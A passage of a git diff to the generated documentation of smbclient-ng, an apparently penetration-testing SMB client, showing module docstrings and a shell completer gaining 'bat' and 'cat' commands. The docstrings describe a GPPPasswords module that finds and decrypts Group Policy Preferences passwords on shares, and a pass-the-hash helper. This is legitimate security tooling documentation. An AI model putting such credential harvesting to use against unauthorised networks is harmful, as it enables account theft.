This method updates the SMB session to use the specified share name. It checks if the share name is valid\nand updates the smb_share attribute of the SMBSession instance.

\n\n

Parameters:\n shareName (str): The name of the share to set as the current SMB share.

\n\n

Raises:\n ValueError: If the shareName is None or an empty string.

\n", "signature": "(self, shareName):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.set_cwd", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.set_cwd", "kind": "function", "doc": "

Sets the current working directory on the SMB share to the specified path.

\n\n

This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory.\nIf the specified path is not a directory, the cwd remains unchanged.

\n\n

Parameters:\n path (str): The path to set as the current working directory.

\n\n

Raises:\n ValueError: If the specified path is not a directory.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils", "modulename": "smbclientng.core.utils", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.utils.parse_lm_nt_hashes", "modulename": "smbclientng.core.utils", "qualname": "parse_lm_nt_hashes", "kind": "function", "doc": "

Parse the input string containing LM and NT hash values and return them separately.

\n\n

This function takes a string containing LM and NT hash values, typically separated by a colon (:).\nIt returns the LM and NT hash values as separate strings. If only one hash value is provided, it is\nassumed to be the NT hash and the LM hash is set to its default value. If no valid hash values are\nfound, both return values are empty strings.

\n\n

Args:\n lm_nt_hashes_string (str): A string containing LM and NT hash values separated by a colon.

\n\n

Returns:\n tuple: A tuple containing two strings (lm_hash_value, nt_hash_value).\n - lm_hash_value: The LM hash value or its default if not provided.\n - nt_hash_value: The NT hash value or its default if not provided.

\n\n

Extracted from p0dalirius/sectools library\nSrc: https://github.com/p0dalirius/sectools/blob/7bb3f5cb7815ad4d4845713c8739e2e2b0ea4e75/sectools/windows/crypto.py#L11-L24

\n", "signature": "(lm_nt_hashes_string):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.b_filesize", "modulename": "smbclientng.core.utils", "qualname": "b_filesize", "kind": "function", "doc": "

Convert a file size from bytes to a more readable format using the largest appropriate unit.

\n\n

This function takes an integer representing a file size in bytes and converts it to a human-readable\nstring using the largest appropriate unit from bytes (B) to petabytes (PB). The result is rounded to\ntwo decimal places.

\n\n

Args:\n l (int): The file size in bytes.

\n\n

Returns:\n str: A string representing the file size in a more readable format, including the appropriate unit.

\n", "signature": "(l):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.unix_permissions", "modulename": "smbclientng.core.utils", "qualname": "unix_permissions", "kind": "function", "doc": "

Generate a string representing the Unix-style permissions for a given file or directory.

\n\n

This function uses the os.lstat() method to retrieve the status of the specified file or directory,\nthen constructs a string that represents the Unix-style permissions based on the mode of the file.

\n\n

Args:\n entryname (str): The path to the file or directory for which permissions are being determined.

\n\n

Returns:\n str: A string of length 10 representing the Unix-style permissions (e.g., '-rwxr-xr--').\n The first character is either 'd' (directory), '-' (not a directory), followed by\n three groups of 'r', 'w', 'x' (read, write, execute permissions) for owner, group,\n and others respectively.

\n", "signature": "(entryname):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.STYPE_MASK", "modulename": "smbclientng.core.utils", "qualname": "STYPE_MASK", "kind": "function", "doc": "

Extracts the share type flags from a given share type value.

\n\n

This function uses bitwise operations to determine which share type flags are set in the provided stype_value.\nIt checks against known share type flags and returns a list of the flags that are set.

\n\n

Parameters:\n stype_value (int): The share type value to analyze, typically obtained from SMB share properties.

\n\n

Returns:\n list: A list of strings, where each string represents a share type flag that is set in the input value.

\n", "signature": "(stype_value):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.windows_ls_entry", "modulename": "smbclientng.core.utils", "qualname": "windows_ls_entry", "kind": "function", "doc": "

This function generates a metadata string based on the attributes of the provided entry object.

\n\n

Parameters:\n entry (object): An object representing a file or directory entry.

\n\n

Returns:\n str: A string representing the metadata of the entry, including attributes like directory, archive, compressed, hidden, normal, readonly, system, and temporary.

\n", "signature": "(entry, config, pathToPrint=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.local_tree", "modulename": "smbclientng.core.utils", "qualname": "local_tree", "kind": "function", "doc": "

This function recursively lists the contents of a directory in a tree-like format.

\n\n

Parameters:\n path (str): The path to the directory to list.\n config (object): Configuration settings which may affect the output, such as whether to use colors.

\n\n

Returns:\n None: This function does not return anything but prints the directory tree to the console.

\n", "signature": "(path, config):", "funcdef": "def"}, {"fullname": "smbclientng.modules", "modulename": "smbclientng.modules", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.modules.Find", "modulename": "smbclientng.modules.Find", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.modules.Find.Find", "modulename": "smbclientng.modules.Find", "qualname": "Find", "kind": "class", "doc": "

A class to search for files in a directory hierarchy.

\n\n

This class provides functionality to search for files based on various criteria in a directory hierarchy.

\n", "bases": "smbclientng.core.Module.Module"}, {"fullname": "smbclientng.modules.Find.Find.name", "modulename": "smbclientng.modules.Find", "qualname": "Find.name", "kind": "variable", "doc": "

\n", "default_value": "'find'"}, {"fullname": "smbclientng.modules.Find.Find.description", "modulename": "smbclientng.modules.Find", "qualname": "Find.description", "kind": "variable", "doc": "

\n", "default_value": "'Search for files in a directory hierarchy'"}, {"fullname": "smbclientng.modules.Find.Find.parseArgs", "modulename": "smbclientng.modules.Find", "qualname": "Find.parseArgs", "kind": "function", "doc": "

Parses the command line arguments provided to the module.

\n\n

This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.

\n\n

Args:\n arguments (str): A string of command line arguments.

\n\n

Returns:\n ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.

\n", "signature": "(self, arguments):", "funcdef": "def"}, {"fullname": "smbclientng.modules.Find.Find.run", "modulename": "smbclientng.modules.Find", "qualname": "Find.run", "kind": "function", "doc": "

This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.

\n\n

Args:\n base_dir (str): The base directory to start the search from.\n paths (list): List of paths to search within the base directory.\n depth (int): The current depth level in the directory hierarchy.

\n\n

Returns:\n None

\n", "signature": "(self, arguments):", "funcdef": "def"}, {"fullname": "smbclientng.modules.GPPPasswords", "modulename": "smbclientng.modules.GPPPasswords", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.modules.GPPPasswords.GPPPasswords", "modulename": "smbclientng.modules.GPPPasswords", "qualname": "GPPPasswords", "kind": "class", "doc": "

GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. \nIt leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.

\n\n

This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.

\n\n

Attributes:\n name (str): The name of the module, used in command line invocation.\n description (str): A brief description of what the module does.

\n\n

Methods:\n parseArgs(arguments): Parses and handles command line arguments for the module.\n parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.

\n", "bases": "smbclientng.core.Module.Module"}, {"fullname": "smbclientng.modules.GPPPasswords.GPPPasswords.name", "modulename": "smbclientng.modules.GPPPasswords", "qualname": "GPPPasswords.name", "kind": "variable", "doc": "

\n", "default_value": "'gpppasswords'"}, {"fullname": "smbclientng.modules.GPPPasswords.GPPPasswords.description", "modulename": "smbclientng.modules.GPPPasswords", "qualname": "GPPPasswords.description", "kind": "variable", "doc": "

\n", "default_value": "'Searches for Group Policy Preferences Passwords in a share.'"}, {"fullname": "smbclientng.modules.GPPPasswords.GPPPasswords.parseArgs", "modulename": "smbclientng.modules.GPPPasswords", "qualname": "GPPPasswords.parseArgs", "kind": "function", "doc": "

Parses the command line arguments provided to the module.

\n\n

This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.

\n\n

Args:\n arguments (str): A string of command line arguments.

\n\n

Returns:\n ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.

\n", "signature": "(self, arguments):", "funcdef": "def"}, {"fullname": "smbclientng.modules.GPPPasswords.GPPPasswords.parse_xmlfile_content", "modulename": "smbclientng.modules.GPPPasswords", "qualname": "GPPPasswords.parse_xmlfile_content", "kind": "function", "doc": "

Parses the content of an XML file to extract credentials related to Group Policy Preferences.

\n\n

This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.

\n\n

Args:\n pathtofile (str): The path to the XML file on the SMB share.

\n\n

Returns:\n list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.

\n", "signature": "(self, pathtofile):", "funcdef": "def"}, {"fullname": "smbclientng.modules.GPPPasswords.GPPPasswords.decrypt_password", "modulename": "smbclientng.modules.GPPPasswords", "qualname": "GPPPasswords.decrypt_password", "kind": "function", "doc": "

Decrypts a password from its Base64 encoded form using a known AES key and IV.

\n\n

This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.

\n\n

Args:\n pw_enc_b64 (str): The Base64 encoded string of the encrypted password.

\n\n

Returns:\n str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.

\n", "signature": "(self, pw_enc_b64):", "funcdef": "def"}, {"fullname": "smbclientng.modules.GPPPasswords.GPPPasswords.run", "modulename": "smbclientng.modules.GPPPasswords", "qualname": "GPPPasswords.run", "kind": "function", "doc": "

This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.

\n\n

Args:\n base_dir (str): The base directory to start the search from.\n paths (list): List of paths to search within the base directory.\n depth (int): The current depth level in the directory hierarchy.

\n\n

Returns:\n None

\n", "signature": "(self, arguments):", "funcdef": "def"}]; // mirrored in build-search-index.js (part 1) // Also split on html tags. this is a cheap heuristic, but good enough. diff --git a/documentation/smbclientng/core/CommandCompleter.html b/documentation/smbclientng/core/CommandCompleter.html index 92cb6ea..bf6a824 100644 --- a/documentation/smbclientng/core/CommandCompleter.html +++ b/documentation/smbclientng/core/CommandCompleter.html @@ -106,426 +106,440 @@

26 """ 27 28 commands = { - 29 "cd": { + 29 "bat": { 30 "description": [ - 31 "Change the current working directory.", - 32 "Syntax: 'cd <directory>'" + 31 "Pretty prints the contents of a file.", + 32 "Syntax: 'bat <file>'" 33 ], 34 "subcommands": [] 35 }, - 36 "close": { + 36 "cat": { 37 "description": [ - 38 "Closes the SMB connection to the remote machine.", - 39 "Syntax: 'close'" + 38 "Get the contents of a file.", + 39 "Syntax: 'cat <file>'" 40 ], 41 "subcommands": [] 42 }, - 43 "connect": { + 43 "cd": { 44 "description": [ - 45 "Connect to the remote machine (useful if connection timed out).", - 46 "Syntax: 'connect'" + 45 "Change the current working directory.", + 46 "Syntax: 'cd <directory>'" 47 ], 48 "subcommands": [] 49 }, - 50 "dir": { + 50 "close": { 51 "description": [ - 52 "List the contents of the current working directory.", - 53 "Syntax: 'dir'" + 52 "Closes the SMB connection to the remote machine.", + 53 "Syntax: 'close'" 54 ], 55 "subcommands": [] 56 }, - 57 "exit": { + 57 "connect": { 58 "description": [ - 59 "Exits the smbclient-ng script.", - 60 "Syntax: 'exit'" + 59 "Connect to the remote machine (useful if connection timed out).", + 60 "Syntax: 'connect'" 61 ], 62 "subcommands": [] 63 }, - 64 "get": { + 64 "dir": { 65 "description": [ - 66 "Get a remote file.", - 67 "Syntax: 'get [-r] <directory or file>'" + 66 "List the contents of the current working directory.", + 67 "Syntax: 'dir'" 68 ], 69 "subcommands": [] 70 }, - 71 "help": { + 71 "exit": { 72 "description": [ - 73 "Displays this help message.", - 74 "Syntax: 'help'" + 73 "Exits the smbclient-ng script.", + 74 "Syntax: 'exit'" 75 ], - 76 "subcommands": ["format"] + 76 "subcommands": [] 77 }, - 78 "info": { + 78 "get": { 79 "description": [ - 80 "Get information about the server and or the share.", - 81 "Syntax: 'info [server|share]'" + 80 "Get a remote file.", + 81 "Syntax: 'get [-r] <directory or file>'" 82 ], - 83 "subcommands": ["server", "share"] + 83 "subcommands": [] 84 }, - 85 "lcd": { + 85 "help": { 86 "description": [ - 87 "Changes the current local directory.", - 88 "Syntax: 'lcd <directory>'" + 87 "Displays this help message.", + 88 "Syntax: 'help'" 89 ], - 90 "subcommands": [] + 90 "subcommands": ["format"] 91 }, - 92 "lls": { + 92 "info": { 93 "description": [ - 94 "Lists the contents of the current local directory.", - 95 "Syntax: 'lls'" - 96 ], - 97 "subcommands": [] + 94 "Get information about the server and or the share.", + 95 "Syntax: 'info [server|share]'" + 96 ], + 97 "subcommands": ["server", "share"] 98 }, - 99 "lmkdir": { + 99 "lcd": { 100 "description": [ -101 "Creates a new local directory.", -102 "Syntax: 'lmkdir <directory>'" -103 ], +101 "Changes the current local directory.", +102 "Syntax: 'lcd <directory>'" +103 ], 104 "subcommands": [] 105 }, -106 "lpwd": { +106 "lls": { 107 "description": [ -108 "Shows the current local directory.", -109 "Syntax: 'lpwd'" +108 "Lists the contents of the current local directory.", +109 "Syntax: 'lls'" 110 ], 111 "subcommands": [] 112 }, -113 "lrm": { +113 "lmkdir": { 114 "description": [ -115 "Removes a local file.", -116 "Syntax: 'lrm <file>'" -117 ], +115 "Creates a new local directory.", +116 "Syntax: 'lmkdir <directory>'" +117 ], 118 "subcommands": [] 119 }, -120 "lrmdir": { +120 "lpwd": { 121 "description": [ -122 "Removes a local directory.", -123 "Syntax: 'lrmdir <directory>'" -124 ], +122 "Shows the current local directory.", +123 "Syntax: 'lpwd'" +124 ], 125 "subcommands": [] 126 }, -127 "ls": { +127 "lrm": { 128 "description": [ -129 "List the contents of the current remote working directory.", -130 "Syntax: 'ls'" +129 "Removes a local file.", +130 "Syntax: 'lrm <file>'" 131 ], 132 "subcommands": [] 133 }, -134 "ltree": { +134 "lrmdir": { 135 "description": [ -136 "Displays a tree view of the local directories.", -137 "Syntax: 'ltree [directory]'" +136 "Removes a local directory.", +137 "Syntax: 'lrmdir <directory>'" 138 ], 139 "subcommands": [] 140 }, -141 "mkdir": { +141 "ls": { 142 "description": [ -143 "Creates a new remote directory.", -144 "Syntax: 'mkdir <directory>'" +143 "List the contents of the current remote working directory.", +144 "Syntax: 'ls'" 145 ], 146 "subcommands": [] 147 }, -148 "module": { +148 "ltree": { 149 "description": [ -150 "Loads a specific module for additional functionalities.", -151 "Syntax: 'module <name>'" +150 "Displays a tree view of the local directories.", +151 "Syntax: 'ltree [directory]'" 152 ], 153 "subcommands": [] 154 }, -155 "put": { +155 "mkdir": { 156 "description": [ -157 "Put a local file or directory in a remote directory.", -158 "Syntax: 'put [-r] <directory or file>'" +157 "Creates a new remote directory.", +158 "Syntax: 'mkdir <directory>'" 159 ], 160 "subcommands": [] 161 }, -162 "reconnect": { +162 "module": { 163 "description": [ -164 "Reconnect to the remote machine (useful if connection timed out).", -165 "Syntax: 'reconnect'" +164 "Loads a specific module for additional functionalities.", +165 "Syntax: 'module <name>'" 166 ], 167 "subcommands": [] 168 }, -169 "reset": { +169 "put": { 170 "description": [ -171 "Reset the TTY output, useful if it was broken after printing a binary file on stdout.", -172 "Syntax: 'reset'" +171 "Put a local file or directory in a remote directory.", +172 "Syntax: 'put [-r] <directory or file>'" 173 ], 174 "subcommands": [] 175 }, -176 "rmdir": { +176 "reconnect": { 177 "description": [ -178 "Removes a remote directory.", -179 "Syntax: 'rmdir <directory>'" +178 "Reconnect to the remote machine (useful if connection timed out).", +179 "Syntax: 'reconnect'" 180 ], 181 "subcommands": [] 182 }, -183 "rm": { +183 "reset": { 184 "description": [ -185 "Removes a remote file.", -186 "Syntax: 'rm <file>'" +185 "Reset the TTY output, useful if it was broken after printing a binary file on stdout.", +186 "Syntax: 'reset'" 187 ], 188 "subcommands": [] 189 }, -190 "shares": { +190 "rmdir": { 191 "description": [ -192 "Lists the SMB shares served by the remote machine.", -193 "Syntax: 'shares'" +192 "Removes a remote directory.", +193 "Syntax: 'rmdir <directory>'" 194 ], 195 "subcommands": [] 196 }, -197 "use": { +197 "rm": { 198 "description": [ -199 "Use a SMB share.", -200 "Syntax: 'use <sharename>'" +199 "Removes a remote file.", +200 "Syntax: 'rm <file>'" 201 ], 202 "subcommands": [] 203 }, -204 "tree": { +204 "shares": { 205 "description": [ -206 "Displays a tree view of the remote directories.", -207 "Syntax: 'tree [directory]'" +206 "Lists the SMB shares served by the remote machine.", +207 "Syntax: 'shares'" 208 ], 209 "subcommands": [] 210 }, -211 } -212 -213 def __init__(self, smbSession, config): -214 # Objects -215 self.smbSession = smbSession -216 self.config = config -217 # Pre computing for some commands -218 self.commands["help"]["subcommands"] = ["format"] + list(self.commands.keys()) -219 self.commands["help"]["subcommands"].remove("help") -220 -221 def complete(self, text, state): -222 """ -223 Function to handle command completion in the LDAP console. -224 -225 This function completes the user"s input based on the available options for commands in the LDAP console. +211 "use": { +212 "description": [ +213 "Use a SMB share.", +214 "Syntax: 'use <sharename>'" +215 ], +216 "subcommands": [] +217 }, +218 "tree": { +219 "description": [ +220 "Displays a tree view of the remote directories.", +221 "Syntax: 'tree [directory]'" +222 ], +223 "subcommands": [] +224 }, +225 } 226 -227 Args: -228 text (str): The current text input by the user. -229 state (int): The current state of completion. -230 -231 Returns: -232 str: The next completion suggestion based on the user"s input state. -233 """ +227 def __init__(self, smbSession, config): +228 # Objects +229 self.smbSession = smbSession +230 self.config = config +231 # Pre computing for some commands +232 self.commands["help"]["subcommands"] = ["format"] + list(self.commands.keys()) +233 self.commands["help"]["subcommands"].remove("help") 234 -235 if state == 0: -236 -237 # No text typed yet, need the list of commands available -238 if len(text) == 0: -239 self.matches = [s for s in self.commands.keys()] +235 def complete(self, text, state): +236 """ +237 Function to handle command completion in the LDAP console. +238 +239 This function completes the user"s input based on the available options for commands in the LDAP console. 240 -241 elif len(text) != 0: -242 # This is for the main command -243 if text.count(" ") == 0: -244 self.matches = [s for s in self.commands.keys() if s and s.startswith(text)] -245 -246 # This is for subcommands -247 elif text.count(" ") >= 1: -248 command, remainder = text.split(" ", 1) -249 if command in self.commands.keys(): -250 if command == "use": -251 # Choose SMB Share to connect to -252 self.matches = [ -253 command + " " + s.lower() -254 for s in self.smbSession.list_shares().keys() -255 if s.lower().startswith(remainder.lower()) -256 ] -257 -258 elif command in ["cd", "dir", "ls", "mkdir", "rmdir", "tree"]: -259 # Choose remote directory -260 path = "" -261 if '\\' in remainder.strip() or '/' in remainder.strip(): -262 path = remainder.strip().replace('/', ntpath.sep) -263 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) -264 -265 directory_contents = self.smbSession.list_contents(path=path).items() -266 -267 matching_entries = [] -268 for _, entry in directory_contents: -269 if entry.is_directory() and entry.get_longname() not in [".",".."]: -270 if len(path) != 0: -271 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) -272 else: -273 matching_entries.append(entry.get_longname() + ntpath.sep) -274 -275 self.matches = [ -276 command + " " + s -277 for s in matching_entries -278 if s.lower().startswith(remainder.lower()) -279 ] +241 Args: +242 text (str): The current text input by the user. +243 state (int): The current state of completion. +244 +245 Returns: +246 str: The next completion suggestion based on the user"s input state. +247 """ +248 +249 if state == 0: +250 +251 # No text typed yet, need the list of commands available +252 if len(text) == 0: +253 self.matches = [s for s in self.commands.keys()] +254 +255 elif len(text) != 0: +256 # This is for the main command +257 if text.count(" ") == 0: +258 self.matches = [s for s in self.commands.keys() if s and s.startswith(text)] +259 +260 # This is for subcommands +261 elif text.count(" ") >= 1: +262 command, remainder = text.split(" ", 1) +263 if command in self.commands.keys(): +264 if command == "use": +265 # Choose SMB Share to connect to +266 self.matches = [ +267 command + " " + s.lower() +268 for s in self.smbSession.list_shares().keys() +269 if s.lower().startswith(remainder.lower()) +270 ] +271 +272 elif command in ["cd", "dir", "ls", "mkdir", "rmdir", "tree"]: +273 # Choose remote directory +274 path = "" +275 if '\\' in remainder.strip() or '/' in remainder.strip(): +276 path = remainder.strip().replace('/', ntpath.sep) +277 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) +278 +279 directory_contents = self.smbSession.list_contents(path=path).items() 280 -281 elif command in ["get", "rm"]: -282 # Choose local files and directories -283 path = "" -284 if '\\' in remainder.strip() or '/' in remainder.strip(): -285 path = remainder.strip().replace('/', ntpath.sep) -286 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) -287 -288 directory_contents = self.smbSession.list_contents(path=path).items() -289 -290 matching_entries = [] -291 for _, entry in directory_contents: -292 if entry.get_longname() not in [".",".."]: -293 if len(path) != 0: -294 if entry.is_directory(): -295 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) -296 else: -297 matching_entries.append(path + ntpath.sep + entry.get_longname()) -298 else: -299 if entry.is_directory(): -300 matching_entries.append(entry.get_longname() + ntpath.sep) -301 else: -302 matching_entries.append(entry.get_longname()) +281 matching_entries = [] +282 for _, entry in directory_contents: +283 if entry.is_directory() and entry.get_longname() not in [".",".."]: +284 if len(path) != 0: +285 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) +286 else: +287 matching_entries.append(entry.get_longname() + ntpath.sep) +288 +289 self.matches = [ +290 command + " " + s +291 for s in matching_entries +292 if s.lower().startswith(remainder.lower()) +293 ] +294 +295 elif command in ["bat", "cat", "get", "rm"]: +296 # Choose local files and directories +297 path = "" +298 if '\\' in remainder.strip() or '/' in remainder.strip(): +299 path = remainder.strip().replace('/', ntpath.sep) +300 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) +301 +302 directory_contents = self.smbSession.list_contents(path=path).items() 303 -304 self.matches = [ -305 command + " " + s -306 for s in matching_entries -307 if s.lower().startswith(remainder.lower()) -308 ] -309 -310 elif command in ["lcd", "lls", "put", "lmkdir", "lrm", "lrmdir"]: -311 # Choose directory -312 path = "" -313 if os.path.sep in remainder.strip(): -314 path = path.split(os.path.sep)[:-1] -315 path = os.path.sep.join(path) -316 -317 # Current dir -318 if len(path.strip()) == 0: -319 path = "." -320 -321 directory_contents = os.listdir(path=path + os.path.sep) -322 matching_entries = [] -323 for entry in directory_contents: -324 if entry not in [".",".."]: -325 entry_path = path + os.path.sep + entry -326 if os.path.isdir(entry_path): -327 matching_entries.append(entry_path + os.path.sep) -328 else: -329 matching_entries.append(entry_path) -330 -331 self.matches = [ -332 command + " " + s -333 for s in matching_entries -334 if s.startswith(remainder) -335 ] -336 -337 else: -338 # Generic case for subcommands -339 self.matches = [ -340 command + " " + s -341 for s in self.commands[command]["subcommands"] -342 if s.startswith(remainder) -343 ] -344 else: -345 # Unknown subcommand, skipping autocomplete -346 pass -347 else: -348 self.matches = [] -349 else: -350 self.matches = self.commands.keys()[:] -351 -352 try: -353 return self.matches[state] + " " -354 except IndexError: -355 return None -356 -357 def print_help(self, command=None): -358 """ -359 Prints help information for a specific command or all commands if no command is specified. -360 -361 This method displays the help information for the command passed as an argument. If no command is specified, -362 it prints the help information for all available commands. The help information includes the command syntax, -363 description, and any subcommands associated with it. This method is designed to provide users with the necessary -364 guidance on how to use the commands in the smbclient-ng shell. +304 matching_entries = [] +305 for _, entry in directory_contents: +306 if entry.get_longname() not in [".",".."]: +307 if len(path) != 0: +308 if entry.is_directory(): +309 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) +310 else: +311 matching_entries.append(path + ntpath.sep + entry.get_longname()) +312 else: +313 if entry.is_directory(): +314 matching_entries.append(entry.get_longname() + ntpath.sep) +315 else: +316 matching_entries.append(entry.get_longname()) +317 +318 self.matches = [ +319 command + " " + s +320 for s in matching_entries +321 if s.lower().startswith(remainder.lower()) +322 ] +323 +324 elif command in ["lcd", "lls", "put", "lmkdir", "lrm", "lrmdir"]: +325 # Choose directory +326 path = "" +327 if os.path.sep in remainder.strip(): +328 path = path.split(os.path.sep)[:-1] +329 path = os.path.sep.join(path) +330 +331 # Current dir +332 if len(path.strip()) == 0: +333 path = "." +334 +335 directory_contents = os.listdir(path=path + os.path.sep) +336 matching_entries = [] +337 for entry in directory_contents: +338 if entry not in [".",".."]: +339 entry_path = path + os.path.sep + entry +340 if os.path.isdir(entry_path): +341 matching_entries.append(entry_path + os.path.sep) +342 else: +343 matching_entries.append(entry_path) +344 +345 self.matches = [ +346 command + " " + s +347 for s in matching_entries +348 if s.startswith(remainder) +349 ] +350 +351 else: +352 # Generic case for subcommands +353 self.matches = [ +354 command + " " + s +355 for s in self.commands[command]["subcommands"] +356 if s.startswith(remainder) +357 ] +358 else: +359 # Unknown subcommand, skipping autocomplete +360 pass +361 else: +362 self.matches = [] +363 else: +364 self.matches = self.commands.keys()[:] 365 -366 Args: -367 command (str, optional): The command to display help information for. If None, help for all commands is displayed. -368 -369 Returns: -370 None -371 """ -372 -373 if command is not None: -374 if command not in list(self.commands.keys())+["format"]: -375 command = None -376 -377 # Print help for a specific command -378 if command is not None: -379 if command == "format": -380 self.print_help_format() -381 else: -382 print("│") -383 if self.config.no_colors: -384 command_str = command + "─"* (15 - len(command)) -385 if len(self.commands[command]["description"]) == 0: -386 print("│ ■ %s┤ " % command_str) -387 elif len(self.commands[command]["description"]) == 1: -388 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -389 else: -390 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -391 for line in self.commands[command]["description"][1:]: -392 print("│ %s%s " % (" "*(15+3), line)) -393 else: -394 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" -395 if len(self.commands[command]["description"]) == 0: -396 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) -397 elif len(self.commands[command]["description"]) == 1: -398 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -399 else: -400 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -401 for line in self.commands[command]["description"][1:]: -402 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+2), line)) -403 print("│") -404 # Generic help -405 else: -406 print("│") -407 commands = sorted(self.commands.keys()) -408 for command in commands: -409 if self.config.no_colors: -410 command_str = command + "─"* (15 - len(command)) -411 if len(self.commands[command]["description"]) == 0: -412 print("│ ■ %s┤ " % command_str) -413 elif len(self.commands[command]["description"]) == 1: -414 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -415 else: -416 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -417 for line in self.commands[command]["description"][1:]: -418 print("│ %s%s " % (" "*(15+2), line)) -419 else: -420 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" -421 if len(self.commands[command]["description"]) == 0: -422 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) -423 elif len(self.commands[command]["description"]) == 1: -424 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -425 else: -426 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -427 for line in self.commands[command]["description"][1:]: -428 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line)) -429 print("│") -430 -431 def print_help_format(self): -432 """ -433 Prints the help information for the 'format' used in remote 'ls' and 'dir' commands. -434 -435 This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning -436 of each character in the file attribute string, such as whether a file is read-only, hidden, or a directory. -437 """ -438 -439 print("File attributes format:\n") -440 print("\x1b[1mdachnrst\x1b[0m") -441 print("\x1b[90m│││││││└──>\x1b[0m Temporary") -442 print("\x1b[90m││││││└───>\x1b[0m System") -443 print("\x1b[90m│││││└────>\x1b[0m Read-Only") -444 print("\x1b[90m││││└─────>\x1b[0m Normal") -445 print("\x1b[90m│││└──────>\x1b[0m Hidden") -446 print("\x1b[90m││└───────>\x1b[0m Compressed") -447 print("\x1b[90m│└────────>\x1b[0m Archived") -448 print("\x1b[90m└─────────>\x1b[0m Directory") +366 try: +367 return self.matches[state] + " " +368 except IndexError: +369 return None +370 +371 def print_help(self, command=None): +372 """ +373 Prints help information for a specific command or all commands if no command is specified. +374 +375 This method displays the help information for the command passed as an argument. If no command is specified, +376 it prints the help information for all available commands. The help information includes the command syntax, +377 description, and any subcommands associated with it. This method is designed to provide users with the necessary +378 guidance on how to use the commands in the smbclient-ng shell. +379 +380 Args: +381 command (str, optional): The command to display help information for. If None, help for all commands is displayed. +382 +383 Returns: +384 None +385 """ +386 +387 if command is not None: +388 if command not in list(self.commands.keys())+["format"]: +389 command = None +390 +391 # Print help for a specific command +392 if command is not None: +393 if command == "format": +394 self.print_help_format() +395 else: +396 print("│") +397 if self.config.no_colors: +398 command_str = command + "─"* (15 - len(command)) +399 if len(self.commands[command]["description"]) == 0: +400 print("│ ■ %s┤ " % command_str) +401 elif len(self.commands[command]["description"]) == 1: +402 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +403 else: +404 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +405 for line in self.commands[command]["description"][1:]: +406 print("│ %s%s " % (" "*(15+2), line)) +407 else: +408 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" +409 if len(self.commands[command]["description"]) == 0: +410 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) +411 elif len(self.commands[command]["description"]) == 1: +412 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +413 else: +414 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +415 for line in self.commands[command]["description"][1:]: +416 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line)) +417 print("│") +418 # Generic help +419 else: +420 print("│") +421 commands = sorted(self.commands.keys()) +422 for command in commands: +423 if self.config.no_colors: +424 command_str = command + 